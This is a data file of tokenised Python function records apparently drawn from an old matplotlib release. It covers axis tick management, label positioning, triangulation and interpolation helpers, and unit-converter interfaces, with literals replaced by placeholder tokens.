{"signature": "def get_major_ticks(self, numticks=None):", "body": "if numticks is None:<EOL><INDENT>numticks = len(self.get_major_locator()())<EOL><DEDENT>if len(self.majorTicks) < numticks:<EOL><INDENT>for i in range(numticks - len(self.majorTicks)):<EOL><INDENT>tick = self._get_tick(major=True)<EOL>self.majorTicks.append(tick)<EOL><DEDENT><DEDENT>if self._lastNumMajorTicks < numticks:<EOL><INDENT>protoTick = self.majorTicks[<NUM_LIT:0>]<EOL>for i in range(self._lastNumMajorTicks, len(self.majorTicks)):<EOL><INDENT>tick = self.majorTicks[i]<EOL>if self._gridOnMajor: tick.gridOn = True<EOL>self._copy_tick_props(protoTick, tick)<EOL><DEDENT><DEDENT>self._lastNumMajorTicks = numticks<EOL>ticks = self.majorTicks[:numticks]<EOL>return ticks<EOL>", "docstring": "get the tick instances; grow as necessary", "id": "f17198:c4:m39"}
{"signature": "def get_minor_ticks(self, numticks=None):", "body": "if numticks is None:<EOL><INDENT>numticks = len(self.get_minor_locator()())<EOL><DEDENT>if len(self.minorTicks) < numticks:<EOL><INDENT>for i in range(numticks - len(self.minorTicks)):<EOL><INDENT>tick = self._get_tick(major=False)<EOL>self.minorTicks.append(tick)<EOL><DEDENT><DEDENT>if self._lastNumMinorTicks < numticks:<EOL><INDENT>protoTick = self.minorTicks[<NUM_LIT:0>]<EOL>for i in range(self._lastNumMinorTicks, len(self.minorTicks)):<EOL><INDENT>tick = self.minorTicks[i]<EOL>if self._gridOnMinor: tick.gridOn = True<EOL>self._copy_tick_props(protoTick, tick)<EOL><DEDENT><DEDENT>self._lastNumMinorTicks = numticks<EOL>ticks = self.minorTicks[:numticks]<EOL>return ticks<EOL>", "docstring": "get the minor tick instances; grow as necessary", "id": "f17198:c4:m40"}
{"signature": "def grid(self, b=None, which='<STR_LIT>', **kwargs):", "body": "if len(kwargs): b = True<EOL>if which.lower().find('<STR_LIT>')>=<NUM_LIT:0>:<EOL><INDENT>if b is None: self._gridOnMinor = not self._gridOnMinor<EOL>else: self._gridOnMinor = b<EOL>for tick in self.minorTicks:  <EOL><INDENT>if tick is None: continue<EOL>tick.gridOn = self._gridOnMinor<EOL>if len(kwargs): artist.setp(tick.gridline,**kwargs)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if b is None: self._gridOnMajor = not self._gridOnMajor<EOL>else: self._gridOnMajor = b<EOL>for tick in self.majorTicks:  <EOL><INDENT>if tick is None: continue<EOL>tick.gridOn = self._gridOnMajor<EOL>if len(kwargs): artist.setp(tick.gridline,**kwargs)<EOL><DEDENT><DEDENT>", "docstring": "Set the axis grid on or off; b is a boolean use *which* =\n'major' | 'minor' to set the grid for major or minor ticks\n\nif *b* is *None* and len(kwargs)==0, toggle the grid state.  If\n*kwargs* are supplied, it is assumed you want the grid on and *b*\nwill be set to True\n\n*kwargs* are used to set the line properties of the grids, eg,\n\n  xax.grid(color='r', linestyle='-', linewidth=2)", "id": "f17198:c4:m41"}
{"signature": "def update_units(self, data):", "body": "converter = munits.registry.get_converter(data)<EOL>if converter is None: return False<EOL>self.converter = converter<EOL>default = self.converter.default_units(data)<EOL>if default is not None and self.units is None:<EOL><INDENT>self.set_units(default)<EOL><DEDENT>self._update_axisinfo()<EOL>return True<EOL>", "docstring": "introspect *data* for units converter and update the\naxis.converter instance if necessary. Return *True* is *data* is\nregistered for unit conversion", "id": "f17198:c4:m42"}
{"signature": "def _update_axisinfo(self):", "body": "if self.converter is None:<EOL><INDENT>return<EOL><DEDENT>info = self.converter.axisinfo(self.units)<EOL>if info is None:<EOL><INDENT>return<EOL><DEDENT>if info.majloc is not None and self.major.locator!=info.majloc:<EOL><INDENT>self.set_major_locator(info.majloc)<EOL><DEDENT>if info.minloc is not None and self.minor.locator!=info.minloc:<EOL><INDENT>self.set_minor_locator(info.minloc)<EOL><DEDENT>if info.majfmt is not None and self.major.formatter!=info.majfmt:<EOL><INDENT>self.set_major_formatter(info.majfmt)<EOL><DEDENT>if info.minfmt is not None and self.minor.formatter!=info.minfmt:<EOL><INDENT>self.set_minor_formatter(info.minfmt)<EOL><DEDENT>if info.label is not None:<EOL><INDENT>label = self.get_label()<EOL>label.set_text(info.label)<EOL><DEDENT>", "docstring": "check the axis converter for the stored units to see if the\naxis info needs to be updated", "id": "f17198:c4:m43"}
{"signature": "def set_units(self, u):", "body": "pchanged = False<EOL>if u is None:<EOL><INDENT>self.units = None<EOL>pchanged = True<EOL><DEDENT>else:<EOL><INDENT>if u!=self.units:<EOL><INDENT>self.units = u<EOL>pchanged = True<EOL><DEDENT><DEDENT>if pchanged:<EOL><INDENT>self._update_axisinfo()<EOL>self.callbacks.process('<STR_LIT>')<EOL>self.callbacks.process('<STR_LIT>')<EOL><DEDENT>", "docstring": "set the units for axis\n\nACCEPTS: a units tag", "id": "f17198:c4:m46"}
{"signature": "def get_units(self):", "body": "return self.units<EOL>", "docstring": "return the units for axis", "id": "f17198:c4:m47"}
{"signature": "def set_major_formatter(self, formatter):", "body": "self.major.formatter = formatter<EOL>formatter.set_axis(self)<EOL>", "docstring": "Set the formatter of the major ticker\n\nACCEPTS: A :class:`~matplotlib.ticker.Formatter` instance", "id": "f17198:c4:m48"}
{"signature": "def set_minor_formatter(self, formatter):", "body": "self.minor.formatter = formatter<EOL>formatter.set_axis(self)<EOL>", "docstring": "Set the formatter of the minor ticker\n\nACCEPTS: A :class:`~matplotlib.ticker.Formatter` instance", "id": "f17198:c4:m49"}
{"signature": "def set_major_locator(self, locator):", "body": "self.major.locator = locator<EOL>locator.set_axis(self)<EOL>", "docstring": "Set the locator of the major ticker\n\nACCEPTS: a :class:`~matplotlib.ticker.Locator` instance", "id": "f17198:c4:m50"}
{"signature": "def set_minor_locator(self, locator):", "body": "self.minor.locator = locator<EOL>locator.set_axis(self)<EOL>", "docstring": "Set the locator of the minor ticker\n\nACCEPTS: a :class:`~matplotlib.ticker.Locator` instance", "id": "f17198:c4:m51"}
{"signature": "def set_pickradius(self, pickradius):", "body": "self.pickradius = pickradius<EOL>", "docstring": "Set the depth of the axis used by the picker\n\nACCEPTS: a distance in points", "id": "f17198:c4:m52"}
{"signature": "def set_ticklabels(self, ticklabels, *args, **kwargs):", "body": "<EOL>minor = kwargs.pop('<STR_LIT>', False)<EOL>if minor:<EOL><INDENT>self.set_minor_formatter(mticker.FixedFormatter(ticklabels))<EOL>ticks = self.get_minor_ticks()<EOL><DEDENT>else:<EOL><INDENT>self.set_major_formatter( mticker.FixedFormatter(ticklabels) )<EOL>ticks = self.get_major_ticks()<EOL><DEDENT>self.set_major_formatter( mticker.FixedFormatter(ticklabels) )<EOL>ret = []<EOL>for i, tick in enumerate(ticks):<EOL><INDENT>if i<len(ticklabels):<EOL><INDENT>tick.label1.set_text(ticklabels[i])<EOL>ret.append(tick.label1)<EOL><DEDENT>tick.label1.update(kwargs)<EOL><DEDENT>return ret<EOL>", "docstring": "Set the text values of the tick labels. Return a list of Text\ninstances.  Use *kwarg* *minor=True* to select minor ticks.\n\nACCEPTS: sequence of strings", "id": "f17198:c4:m53"}
{"signature": "def set_ticks(self, ticks, minor=False):", "body": "<EOL>ticks = self.convert_units(ticks)<EOL>if len(ticks) > <NUM_LIT:1>:<EOL><INDENT>xleft, xright = self.get_view_interval()<EOL>if xright > xleft:<EOL><INDENT>self.set_view_interval(min(ticks), max(ticks))<EOL><DEDENT>else:<EOL><INDENT>self.set_view_interval(max(ticks), min(ticks))<EOL><DEDENT><DEDENT>if minor:<EOL><INDENT>self.set_minor_locator(mticker.FixedLocator(ticks))<EOL>return self.get_minor_ticks(len(ticks))<EOL><DEDENT>else:<EOL><INDENT>self.set_major_locator( mticker.FixedLocator(ticks) )<EOL>return self.get_major_ticks(len(ticks))<EOL><DEDENT>", "docstring": "Set the locations of the tick marks from sequence ticks\n\nACCEPTS: sequence of floats", "id": "f17198:c4:m54"}
{"signature": "def _update_label_position(self, bboxes, bboxes2):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Update the label position based on the sequence of bounding\nboxes of all the ticklabels", "id": "f17198:c4:m55"}
{"signature": "def _update_offset_text_postion(self, bboxes, bboxes2):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Update the label position based on the sequence of bounding\nboxes of all the ticklabels", "id": "f17198:c4:m56"}
{"signature": "def pan(self, numsteps):", "body": "self.major.locator.pan(numsteps)<EOL>", "docstring": "Pan *numsteps* (can be positive or negative)", "id": "f17198:c4:m57"}
{"signature": "def zoom(self, direction):", "body": "self.major.locator.zoom(direction)<EOL>", "docstring": "Zoom in/out on axis; if *direction* is >0 zoom in, else zoom out", "id": "f17198:c4:m58"}
{"signature": "def contains(self,mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>x,y = mouseevent.x,mouseevent.y<EOL>try:<EOL><INDENT>trans = self.axes.transAxes.inverted()<EOL>xaxes,yaxes = trans.transform_point((x,y))<EOL><DEDENT>except ValueError:<EOL><INDENT>return False, {}<EOL><DEDENT>l,b = self.axes.transAxes.transform_point((<NUM_LIT:0>,<NUM_LIT:0>))<EOL>r,t = self.axes.transAxes.transform_point((<NUM_LIT:1>,<NUM_LIT:1>))<EOL>inaxis = xaxes>=<NUM_LIT:0> and xaxes<=<NUM_LIT:1> and (<EOL>(y<b and y>b-self.pickradius) or<EOL>(y>t and y<t+self.pickradius))<EOL>return inaxis, {}<EOL>", "docstring": "Test whether the mouse event occured in the x axis.", "id": "f17198:c5:m0"}
{"signature": "def get_label_position(self):", "body": "return self.label_position<EOL>", "docstring": "Return the label position (top or bottom)", "id": "f17198:c5:m4"}
{"signature": "def set_label_position(self, position):", "body": "assert position == '<STR_LIT>' or position == '<STR_LIT>'<EOL>if position == '<STR_LIT>':<EOL><INDENT>self.label.set_verticalalignment('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.label.set_verticalalignment('<STR_LIT>')<EOL><DEDENT>self.label_position=position<EOL>", "docstring": "Set the label position (top or bottom)\n\nACCEPTS: [ 'top' | 'bottom' ]", "id": "f17198:c5:m5"}
{"signature": "def _update_label_position(self, bboxes, bboxes2):", "body": "if not self._autolabelpos: return<EOL>x,y = self.label.get_position()<EOL>if self.label_position == '<STR_LIT>':<EOL><INDENT>if not len(bboxes):<EOL><INDENT>bottom = self.axes.bbox.ymin<EOL><DEDENT>else:<EOL><INDENT>bbox = mtransforms.Bbox.union(bboxes)<EOL>bottom = bbox.y0<EOL><DEDENT>self.label.set_position( (x, bottom - self.LABELPAD*self.figure.dpi / <NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>if not len(bboxes2):<EOL><INDENT>top = self.axes.bbox.ymax<EOL><DEDENT>else:<EOL><INDENT>bbox = mtransforms.Bbox.union(bboxes2)<EOL>top = bbox.y1<EOL><DEDENT>self.label.set_position( (x, top+self.LABELPAD*self.figure.dpi / <NUM_LIT>))<EOL><DEDENT>", "docstring": "Update the label position based on the sequence of bounding\nboxes of all the ticklabels", "id": "f17198:c5:m6"}
{"signature": "def _update_offset_text_position(self, bboxes, bboxes2):", "body": "x,y = self.offsetText.get_position()<EOL>if not len(bboxes):<EOL><INDENT>bottom = self.axes.bbox.ymin<EOL><DEDENT>else:<EOL><INDENT>bbox = mtransforms.Bbox.union(bboxes)<EOL>bottom = bbox.y0<EOL><DEDENT>self.offsetText.set_position((x, bottom-self.OFFSETTEXTPAD*self.figure.dpi/<NUM_LIT>))<EOL>", "docstring": "Update the offset_text position based on the sequence of bounding\nboxes of all the ticklabels", "id": "f17198:c5:m7"}
{"signature": "def get_text_heights(self, renderer):", "body": "bbox, bbox2 = self.get_ticklabel_extents(renderer)<EOL>padPixels = self.majorTicks[<NUM_LIT:0>].get_pad_pixels()<EOL>above = <NUM_LIT:0.0><EOL>if bbox2.height:<EOL><INDENT>above += bbox2.height + padPixels<EOL><DEDENT>below = <NUM_LIT:0.0><EOL>if bbox.height:<EOL><INDENT>below += bbox.height + padPixels<EOL><DEDENT>if self.get_label_position() == '<STR_LIT>':<EOL><INDENT>above += self.label.get_window_extent(renderer).height + padPixels<EOL><DEDENT>else:<EOL><INDENT>below += self.label.get_window_extent(renderer).height + padPixels<EOL><DEDENT>return above, below<EOL>", "docstring": "Returns the amount of space one should reserve for text\nabove and below the axes.  Returns a tuple (above, below)", "id": "f17198:c5:m8"}
{"signature": "def set_ticks_position(self, position):", "body": "assert position in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:default>', '<STR_LIT:none>')<EOL>ticks = list( self.get_major_ticks() )  <EOL>ticks.extend( self.get_minor_ticks() )<EOL>if position == '<STR_LIT>':<EOL><INDENT>for t in ticks:<EOL><INDENT>t.tick1On = False<EOL>t.tick2On = True<EOL>t.label1On = False<EOL>t.label2On = True<EOL><DEDENT><DEDENT>elif position == '<STR_LIT>':<EOL><INDENT>for t in ticks:<EOL><INDENT>t.tick1On = True<EOL>t.tick2On = False<EOL>t.label1On = True<EOL>t.label2On = False<EOL><DEDENT><DEDENT>elif position == '<STR_LIT:default>':<EOL><INDENT>for t in ticks:<EOL><INDENT>t.tick1On = True<EOL>t.tick2On = True<EOL>t.label1On = True<EOL>t.label2On = False<EOL><DEDENT><DEDENT>elif position == '<STR_LIT:none>':<EOL><INDENT>for t in ticks:<EOL><INDENT>t.tick1On = False<EOL>t.tick2On = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for t in ticks:<EOL><INDENT>t.tick1On = True<EOL>t.tick2On = True<EOL><DEDENT><DEDENT>for t in ticks:<EOL><INDENT>t.update_position(t._loc)<EOL><DEDENT>", "docstring": "Set the ticks position (top, bottom, both, default or none)\nboth sets the ticks to appear on both positions, but does not\nchange the tick labels.  default resets the tick positions to\nthe default: ticks on both positions, labels at bottom.  none\ncan be used if you don't want any ticks.\n\nACCEPTS: [ 'top' | 'bottom' | 'both' | 'default' | 'none' ]", "id": "f17198:c5:m9"}
{"signature": "def tick_top(self):", "body": "self.set_ticks_position('<STR_LIT>')<EOL>", "docstring": "use ticks only on top", "id": "f17198:c5:m10"}
{"signature": "def tick_bottom(self):", "body": "self.set_ticks_position('<STR_LIT>')<EOL>", "docstring": "use ticks only on bottom", "id": "f17198:c5:m11"}
{"signature": "def get_ticks_position(self):", "body": "majt=self.majorTicks[<NUM_LIT:0>]<EOL>mT=self.minorTicks[<NUM_LIT:0>]<EOL>majorTop=(not majt.tick1On) and majt.tick2On and (not majt.label1On) and majt.label2On<EOL>minorTop=(not mT.tick1On) and mT.tick2On and (not mT.label1On) and mT.label2On<EOL>if majorTop and minorTop: return '<STR_LIT>'<EOL>MajorBottom=majt.tick1On and (not majt.tick2On) and majt.label1On and (not majt.label2On)<EOL>MinorBottom=mT.tick1On and (not mT.tick2On) and mT.label1On and (not mT.label2On)<EOL>if MajorBottom and MinorBottom: return '<STR_LIT>'<EOL>majorDefault=majt.tick1On and majt.tick2On and majt.label1On and (not majt.label2On)<EOL>minorDefault=mT.tick1On and mT.tick2On and mT.label1On and (not mT.label2On)<EOL>if majorDefault and minorDefault: return '<STR_LIT:default>'<EOL>return '<STR_LIT>'<EOL>", "docstring": "Return the ticks position (top, bottom, default or unknown)", "id": "f17198:c5:m12"}
{"signature": "def get_view_interval(self):", "body": "return self.axes.viewLim.intervalx<EOL>", "docstring": "return the Interval instance for this axis view limits", "id": "f17198:c5:m13"}
{"signature": "def get_data_interval(self):", "body": "return self.axes.dataLim.intervalx<EOL>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c5:m16"}
{"signature": "def set_data_interval(self, vmin, vmax, ignore=False):", "body": "if ignore:<EOL><INDENT>self.axes.dataLim.intervalx = vmin, vmax<EOL><DEDENT>else:<EOL><INDENT>Vmin, Vmax = self.get_data_interval()<EOL>self.axes.dataLim.intervalx = min(vmin, Vmin), max(vmax, Vmax)<EOL><DEDENT>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c5:m17"}
{"signature": "def contains(self,mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>x,y = mouseevent.x,mouseevent.y<EOL>try:<EOL><INDENT>trans = self.axes.transAxes.inverted()<EOL>xaxes,yaxes = trans.transform_point((x,y))<EOL><DEDENT>except ValueError:<EOL><INDENT>return False, {}<EOL><DEDENT>l,b = self.axes.transAxes.transform_point((<NUM_LIT:0>,<NUM_LIT:0>))<EOL>r,t = self.axes.transAxes.transform_point((<NUM_LIT:1>,<NUM_LIT:1>))<EOL>inaxis = yaxes>=<NUM_LIT:0> and yaxes<=<NUM_LIT:1> and (<EOL>(x<l and x>l-self.pickradius) or<EOL>(x>r and x<r+self.pickradius))<EOL>return inaxis, {}<EOL>", "docstring": "Test whether the mouse event occurred in the y axis.\n\n        Returns *True* | *False*", "id": "f17198:c6:m0"}
{"signature": "def get_label_position(self):", "body": "return self.label_position<EOL>", "docstring": "Return the label position (left or right)", "id": "f17198:c6:m4"}
{"signature": "def set_label_position(self, position):", "body": "assert position == '<STR_LIT:left>' or position == '<STR_LIT:right>'<EOL>if position == '<STR_LIT:right>':<EOL><INDENT>self.label.set_horizontalalignment('<STR_LIT:left>')<EOL><DEDENT>else:<EOL><INDENT>self.label.set_horizontalalignment('<STR_LIT:right>')<EOL><DEDENT>self.label_position=position<EOL>", "docstring": "Set the label position (left or right)\n\nACCEPTS: [ 'left' | 'right' ]", "id": "f17198:c6:m5"}
{"signature": "def _update_label_position(self, bboxes, bboxes2):", "body": "if not self._autolabelpos: return<EOL>x,y = self.label.get_position()<EOL>if self.label_position == '<STR_LIT:left>':<EOL><INDENT>if not len(bboxes):<EOL><INDENT>left = self.axes.bbox.xmin<EOL><DEDENT>else:<EOL><INDENT>bbox = mtransforms.Bbox.union(bboxes)<EOL>left = bbox.x0<EOL><DEDENT>self.label.set_position( (left-self.LABELPAD*self.figure.dpi/<NUM_LIT>, y))<EOL><DEDENT>else:<EOL><INDENT>if not len(bboxes2):<EOL><INDENT>right = self.axes.bbox.xmax<EOL><DEDENT>else:<EOL><INDENT>bbox = mtransforms.Bbox.union(bboxes2)<EOL>right = bbox.x1<EOL><DEDENT>self.label.set_position( (right+self.LABELPAD*self.figure.dpi/<NUM_LIT>, y))<EOL><DEDENT>", "docstring": "Update the label position based on the sequence of bounding\nboxes of all the ticklabels", "id": "f17198:c6:m6"}
{"signature": "def _update_offset_text_position(self, bboxes, bboxes2):", "body": "x,y = self.offsetText.get_position()<EOL>top = self.axes.bbox.ymax<EOL>self.offsetText.set_position((x, top+self.OFFSETTEXTPAD*self.figure.dpi/<NUM_LIT>))<EOL>", "docstring": "Update the offset_text position based on the sequence of bounding\nboxes of all the ticklabels", "id": "f17198:c6:m7"}
{"signature": "def set_ticks_position(self, position):", "body": "assert position in ('<STR_LIT:left>', '<STR_LIT:right>', '<STR_LIT>', '<STR_LIT:default>', '<STR_LIT:none>')<EOL>ticks = list( self.get_major_ticks() ) <EOL>ticks.extend( self.get_minor_ticks() )<EOL>if position == '<STR_LIT:right>':<EOL><INDENT>self.set_offset_position('<STR_LIT:right>')<EOL>for t in ticks:<EOL><INDENT>t.tick1On = False<EOL>t.tick2On = True<EOL>t.label1On = False<EOL>t.label2On = True<EOL><DEDENT><DEDENT>elif position == '<STR_LIT:left>':<EOL><INDENT>self.set_offset_position('<STR_LIT:left>')<EOL>for t in ticks:<EOL><INDENT>t.tick1On = True<EOL>t.tick2On = False<EOL>t.label1On = True<EOL>t.label2On = False<EOL><DEDENT><DEDENT>elif position == '<STR_LIT:default>':<EOL><INDENT>self.set_offset_position('<STR_LIT:left>')<EOL>for t in ticks:<EOL><INDENT>t.tick1On = True<EOL>t.tick2On = True<EOL>t.label1On = True<EOL>t.label2On = False<EOL><DEDENT><DEDENT>elif position == '<STR_LIT:none>':<EOL><INDENT>for t in ticks:<EOL><INDENT>t.tick1On = False<EOL>t.tick2On = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.set_offset_position('<STR_LIT:left>')<EOL>for t in ticks:<EOL><INDENT>t.tick1On = True<EOL>t.tick2On = True<EOL><DEDENT><DEDENT>", "docstring": "Set the ticks position (left, right, both or default)\nboth sets the ticks to appear on both positions, but\ndoes not change the tick labels.\ndefault resets the tick positions to the default:\nticks on both positions, labels on the left.\n\nACCEPTS: [ 'left' | 'right' | 'both' | 'default' | 'none' ]", "id": "f17198:c6:m10"}
{"signature": "def tick_right(self):", "body": "self.set_ticks_position('<STR_LIT:right>')<EOL>", "docstring": "use ticks only on right", "id": "f17198:c6:m11"}
{"signature": "def tick_left(self):", "body": "self.set_ticks_position('<STR_LIT:left>')<EOL>", "docstring": "use ticks only on left", "id": "f17198:c6:m12"}
{"signature": "def get_ticks_position(self):", "body": "majt=self.majorTicks[<NUM_LIT:0>]<EOL>mT=self.minorTicks[<NUM_LIT:0>]<EOL>majorRight=(not majt.tick1On) and majt.tick2On and (not majt.label1On) and majt.label2On<EOL>minorRight=(not mT.tick1On) and mT.tick2On and (not mT.label1On) and mT.label2On<EOL>if majorRight and minorRight: return '<STR_LIT:right>'<EOL>majorLeft=majt.tick1On and (not majt.tick2On) and majt.label1On and (not majt.label2On)<EOL>minorLeft=mT.tick1On and (not mT.tick2On) and mT.label1On and (not mT.label2On)<EOL>if majorLeft and minorLeft: return '<STR_LIT:left>'<EOL>majorDefault=majt.tick1On and majt.tick2On and majt.label1On and (not majt.label2On)<EOL>minorDefault=mT.tick1On and mT.tick2On and mT.label1On and (not mT.label2On)<EOL>if majorDefault and minorDefault: return '<STR_LIT:default>'<EOL>return '<STR_LIT>'<EOL>", "docstring": "Return the ticks position (left, right, both or unknown)", "id": "f17198:c6:m13"}
{"signature": "def get_view_interval(self):", "body": "return self.axes.viewLim.intervaly<EOL>", "docstring": "return the Interval instance for this axis view limits", "id": "f17198:c6:m14"}
{"signature": "def get_data_interval(self):", "body": "return self.axes.dataLim.intervaly<EOL>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c6:m17"}
{"signature": "def set_data_interval(self, vmin, vmax, ignore=False):", "body": "if ignore:<EOL><INDENT>self.axes.dataLim.intervaly = vmin, vmax<EOL><DEDENT>else:<EOL><INDENT>Vmin, Vmax = self.get_data_interval()<EOL>self.axes.dataLim.intervaly = min(vmin, Vmin), max(vmax, Vmax)<EOL><DEDENT>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c6:m18"}
{"signature": "def slice2gridspec(key):", "body": "if ((len(key) != <NUM_LIT:2>) or<EOL>(not isinstance(key[<NUM_LIT:0>], slice)) or<EOL>(not isinstance(key[<NUM_LIT:1>], slice))):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>x0 = key[<NUM_LIT:1>].start<EOL>x1 = key[<NUM_LIT:1>].stop<EOL>xstep = key[<NUM_LIT:1>].step<EOL>if not isinstance(xstep, complex) or int(xstep.real) != xstep.real:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>xstep = int(xstep.imag)<EOL>y0 = key[<NUM_LIT:0>].start<EOL>y1 = key[<NUM_LIT:0>].stop<EOL>ystep = key[<NUM_LIT:0>].step<EOL>if not isinstance(ystep, complex) or int(ystep.real) != ystep.real:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>ystep = int(ystep.imag)<EOL>return x0, x1, xstep, y0, y1, ystep<EOL>", "docstring": "Convert a 2-tuple of slices to start,stop,steps for x and y.\n\n    key -- (slice(ystart,ystop,ystep), slice(xtart, xstop, xstep))\n\n    For now, the only accepted step values are imaginary integers (interpreted\n    in the same way numpy.mgrid, etc. do).", "id": "f17199:m0"}
{"signature": "def quality(func, mesh, interpolator='<STR_LIT>', n=<NUM_LIT>):", "body": "fz = func(mesh.x, mesh.y)<EOL>tri = Triangulation(mesh.x, mesh.y)<EOL>intp = getattr(tri, interpolator+'<STR_LIT>')(fz, bbox=(<NUM_LIT:0.>,<NUM_LIT:1.>,<NUM_LIT:0.>,<NUM_LIT:1.>))<EOL>Y, X = np.mgrid[<NUM_LIT:0>:<NUM_LIT:1>:complex(<NUM_LIT:0>,n),<NUM_LIT:0>:<NUM_LIT:1>:complex(<NUM_LIT:0>,n)]<EOL>Z = func(X, Y)<EOL>iz = intp[<NUM_LIT:0>:<NUM_LIT:1>:complex(<NUM_LIT:0>,n),<NUM_LIT:0>:<NUM_LIT:1>:complex(<NUM_LIT:0>,n)]<EOL>numgood = n*n<EOL>SE = (Z - iz)**<NUM_LIT:2><EOL>SSE = np.sum(SE.flat)<EOL>meanZ = np.sum(Z.flat) / numgood<EOL>SM = (Z - meanZ)**<NUM_LIT:2><EOL>SSM = np.sum(SM.flat)<EOL>r2 = <NUM_LIT:1.0> - SSE/SSM<EOL>print(func.__name__, r2, SSE, SSM, numgood)<EOL>return r2<EOL>", "docstring": "Compute a quality factor (the quantity r**2 from TOMS792).\n\n    interpolator must be in ('linear', 'nn').", "id": "f17201:m17"}
{"signature": "def _collapse_duplicate_points(self):", "body": "<EOL>j_sorted = np.lexsort(keys=(self.x, self.y))<EOL>mask_unique = np.hstack([<EOL>True,<EOL>(np.diff(self.x[j_sorted]) != <NUM_LIT:0>) | (np.diff(self.y[j_sorted]) != <NUM_LIT:0>),<EOL>])<EOL>return j_sorted[mask_unique]<EOL>", "docstring": "Generate index array that picks out unique x,y points.\n\n        This appears to be required by the underlying delaunay triangulation\n        code.", "id": "f17202:c1:m1"}
{"signature": "def _compute_convex_hull(self):", "body": "border = (self.triangle_neighbors == -<NUM_LIT:1>)<EOL>edges = {}<EOL>edges.update(dict(zip(self.triangle_nodes[border[:,<NUM_LIT:0>]][:,<NUM_LIT:1>],<EOL>self.triangle_nodes[border[:,<NUM_LIT:0>]][:,<NUM_LIT:2>])))<EOL>edges.update(dict(zip(self.triangle_nodes[border[:,<NUM_LIT:1>]][:,<NUM_LIT:2>],<EOL>self.triangle_nodes[border[:,<NUM_LIT:1>]][:,<NUM_LIT:0>])))<EOL>edges.update(dict(zip(self.triangle_nodes[border[:,<NUM_LIT:2>]][:,<NUM_LIT:0>],<EOL>self.triangle_nodes[border[:,<NUM_LIT:2>]][:,<NUM_LIT:1>])))<EOL>hull = list(edges.popitem())<EOL>while edges:<EOL><INDENT>hull.append(edges.pop(hull[-<NUM_LIT:1>]))<EOL><DEDENT>hull.pop()<EOL>return hull<EOL>", "docstring": "Extract the convex hull from the triangulation information.\n\n        The output will be a list of point_id's in counter-clockwise order\n        forming the convex hull of the data set.", "id": "f17202:c1:m2"}
{"signature": "def linear_interpolator(self, z, default_value=np.nan):", "body": "z = np.asarray(z, dtype=np.float64)<EOL>if z.shape != self.old_shape:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.j_unique is not None:<EOL><INDENT>z = z[self.j_unique]<EOL><DEDENT>return LinearInterpolator(self, z, default_value)<EOL>", "docstring": "Get an object which can interpolate within the convex hull by\n        assigning a plane to each triangle.\n\n        z -- an array of floats giving the known function values at each point\n          in the triangulation.", "id": "f17202:c1:m3"}
{"signature": "def nn_interpolator(self, z, default_value=np.nan):", "body": "z = np.asarray(z, dtype=np.float64)<EOL>if z.shape != self.old_shape:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.j_unique is not None:<EOL><INDENT>z = z[self.j_unique]<EOL><DEDENT>return NNInterpolator(self, z, default_value)<EOL>", "docstring": "Get an object which can interpolate within the convex hull by\n        the natural neighbors method.\n\n        z -- an array of floats giving the known function values at each point\n          in the triangulation.", "id": "f17202:c1:m4"}
{"signature": "def node_graph(self):", "body": "g = {}<EOL>for i, j in self.edge_db:<EOL><INDENT>s = g.setdefault(i, set())<EOL>s.add(j)<EOL>s = g.setdefault(j, set())<EOL>s.add(i)<EOL><DEDENT>return g<EOL>", "docstring": "Return a graph of node_id's pointing to node_id's.\n\n        The arcs of the graph correspond to the edges in the triangulation.\n\n        {node_id: set([node_id, ...]), ...}", "id": "f17202:c1:m8"}
{"signature": "def __init__(self, majloc=None, minloc=None,<EOL>majfmt=None, minfmt=None, label=None):", "body": "self.majloc = majloc<EOL>self.minloc = minloc<EOL>self.majfmt = majfmt<EOL>self.minfmt = minfmt<EOL>self.label = label<EOL>", "docstring": "majloc and minloc: TickLocators for the major and minor ticks\nmajfmt and minfmt: TickFormatters for the major and minor ticks\nlabel: the default axis label\n\nIf any of the above are None, the axis will simply use the default", "id": "f17205:c0:m0"}
{"signature": "def axisinfo(unit):", "body": "return None<EOL>", "docstring": "return an units.AxisInfo instance for unit", "id": "f17205:c1:m0"}
{"signature": "def default_units(x):", "body": "return None<EOL>", "docstring": "return the default unit for x or None", "id": "f17205:c1:m1"}
{"signature": "def convert(obj, unit):", "body": "return obj<EOL>", "docstring": "convert obj using unit.  If obj is a sequence, return the\nconverted sequence.  The ouput must be a sequence of scalars\nthat can be used by the numpy array layer", "id": "f17205:c1:m2"}
{"signature": "def is_numlike(x):", "body": "if iterable(x):<EOL><INDENT>for thisx in x:<EOL><INDENT>return is_numlike(thisx)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return is_numlike(x)<EOL><DEDENT>", "docstring": "The matplotlib datalim, autoscaling, locators etc work with\nscalars which are the units converted to floats given the\ncurrent unit.  The converter may be passed these floats, or\narrays of them, even when units are set.  Derived conversion\ninterfaces may opt to pass plain-ol unitless numbers through\nthe conversion interface and this is a helper function for\nthem.", "id": "f17205:c1:m3"}
